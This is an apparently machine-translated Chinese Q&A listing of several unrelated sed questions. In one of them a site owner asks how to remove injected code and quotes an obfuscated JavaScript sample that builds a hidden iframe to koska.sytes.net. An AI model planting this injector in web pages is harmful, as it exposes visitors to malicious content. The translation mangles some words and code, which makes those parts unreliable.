Articles of sed

别名replace文件中的文本

这里是一个实际的情况。我面对我的一些文件,这些文件中有一个共同的string。我通常会打开vi,做一些像 :%s/text/replacement/g 而且我必须在许多文件中多次执行它。 有没有一些简单的方法来做到这一点,或者我可以创build一些别名?

linux +仅将VALID IP从文本文件转换为其他文件

请build议如何仅匹配file.txt中的有效IP(255.255.255.255),并只将有效IP插入VALID_IP.txt文件 (例如,参见VALID_IP.txt) 解决scheme应该在我的ksh脚本中实现(所以perl或sed或awk也可以) 更多file.txt e32)5.500.5.5*kjcdr ##@$1.1.1.1+++jmjh 1.1.1.1333 33331.1.1.1 @5.5.5.?????? ~3de.ede5.5.5.5 1.1.1.13444r54 192.9.30.174 &&^#%5.5.5.5 :5.5.5.5@%%^^&* :5.5.5.5: **22.22.22.22 172.78.0.1()*5.4.3.277 VALID_IP.txt文件的例子 1.1.1.1 192.9.30.174 5.5.5.5 5.5.5.5 5.5.5.5 22.22.22.22 172.78.0.1

从linux生成的电子邮件中获得正确的换行符

我有一个脚本,通过电子邮件发送特定的Linux日志条目给我,我读了MS Outlook中的电子邮件。 问题是,所有的线路在线路之间没有换行。 为了解决这个问题,我在邮件命令之前插入了sed“s / $ / \ n /” ,但是这给了我在邮件中每行之间的2个换行符 ! 在每行之间获得单行换行的正确方法是什么(使用sed)

我怎样才能删除sed多个文件中的恶意代码?

我在服务器上的这么多.html和.php文件中有这个恶意代码。 我需要删除他们使用 sed -i expression search目录下的所有文件/home/ find感染的文件 通过将其replace为空白来删除代码 VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs = 'PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f';无功nixyhgyjouf ='koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = 'PaBUTyjaZYg'; VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = 'PaBUTyjaZYg'; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66'; VAR tlclvgxfthn = […]

为什么不sed工作?

我有一个文件,有很多的单行! 字符。 我想删除所有的! 字符。 我试过这个: sed s/!// myfile 和这个: sed 's/!//' myfile 和这个: sed 's/"\!*"//' myfile 但他们都打印出所有的“!”。 我必须失去一些明显的东西。 有任何想法吗?

replace文件中的文本而不覆盖文件

我想使用命令行来编辑文本文件,但不覆盖它。 我想保留文件的所有者,组和权限。 我有一个文件,其中包含一个设备使用次数的计数。 这个文件让我知道什么时候设备需要维修。 对安全性没有任何顾虑,我需要所有的用户都能够读写这个文件。 如果我使用sed来编辑计数,它将覆盖文件,文件的所有权和权限将被改变。 我注意到,当我用vi编辑文件时,文件的所有权和权限不会改变。 我想从命令行做同样的事情。 例如: cat foo.txt foo ls -l foo.txt -rw-rw-rw- 1 root root foo.txt cat foo.txt | sed -e 's/foo/bar/' > foo.txt ls -l foo.txt -rw-r–r– 1 joe admin foo.txt 这是一个问题,因为bill和joe都使用更新计数文件的脚本。 当乔使用它时,权限改变,防止账单使用它。 由于vi可以在不更改所有者和权限的情况下编辑文本,所以我认为这是可以完成的,但是我无法弄清楚如何去做。

AIX sedparsing错误0602-404,但与Linux的sed?

我有这个sed在Linux中工作,并有一些我需要使用它的AIX服务器,但不断得到这个错误,即使它是特定的,我也找不到任何信息。 有以下工作,但复杂的,我不明白。 $RESULTSFILE="RESULTS.txt" $echo -en "\nLine1 Connection info\n\nLine2\nERROR:\nError message\n\n" > $RESULTSFILE $result=`sed -n '/^ERROR:/{p}' $RESULTSFILE` sed: 0602-404 Function /^ERROR:/{p} cannot be parsed. $if [ "$result" == "ERROR:" ]; then echo True; else echo False; fi 更复杂的sed $RESULTSFILE="RESULTS.txt" $echo -en "\nLine1\n\nLine2\n\nMore lines\n——————————————————————————–\nInfo I want to get\nare each of these\n\nlines.\n\nDisconnected…\n\n" > $RESULTSFILE $result=`sed -n '/^—*/,/Disconnected/{/^—*/d;/^Disconnect*/d;p}' $RESULTSFILE` sed: […]

如何使用sed或awk删除文本?

我在文件中有以下行: Linux Release…………5.4.2.0-02 12_12_2011_07:31:23 如何在使用sed或awk删除第一个数字之前删除所有字符? 我希望得到以下结果: 5.4.2.0-02 12_12_2011_07:31:23

使用sed提取mysql备份的一行部分

我偶尔需要从mysqlbackup中提取单个logging 要做到这一点,我首先从备份中提取我想要的单个表… sed -n -e '/CREATE TABLE.*usertext/,/CREATE TABLE/p' 20120930_backup.sql > table.sql 在table.sql中,使用扩展插入对logging进行批处理(每插入100条logging,然后创build一个以INSERT INTO开头的新行),所以它们看起来像… INSERT INTO usertext VALUES (1, field2 etc), (2, field2 etc), INSERT INTO usertext VALUES (101, field2 etc), (102, field2 etc), … 我试图从中提取logging239560,使用… sed -n -e '/(239560.*/,/)/p' table.sql > record.sql 也就是说,当它发现239560时开始stream式传输,当它碰到右括号时停止 但是,这不是我希望的工作,它只是导致完整的插入批输出。 请有人可以给我一些指示,哪里我出错了? 使用awk提取行段,使用sed提取文件中的行会更好吗?

只有当行以特定字符结束时,sed +删除行

需要帮助 – 如果在Solaris机器上最后一个字符是 – “:”with sed,如何删除文件中的行 比如sed会删除下面一行(包括黑线) /etc/val/config/globals.xml:/globals/CLUSTERNODES/node: 例如什么不需要删除 /etc/val/config/globals.xml:/globals/CLUSTERNODES/node:node1a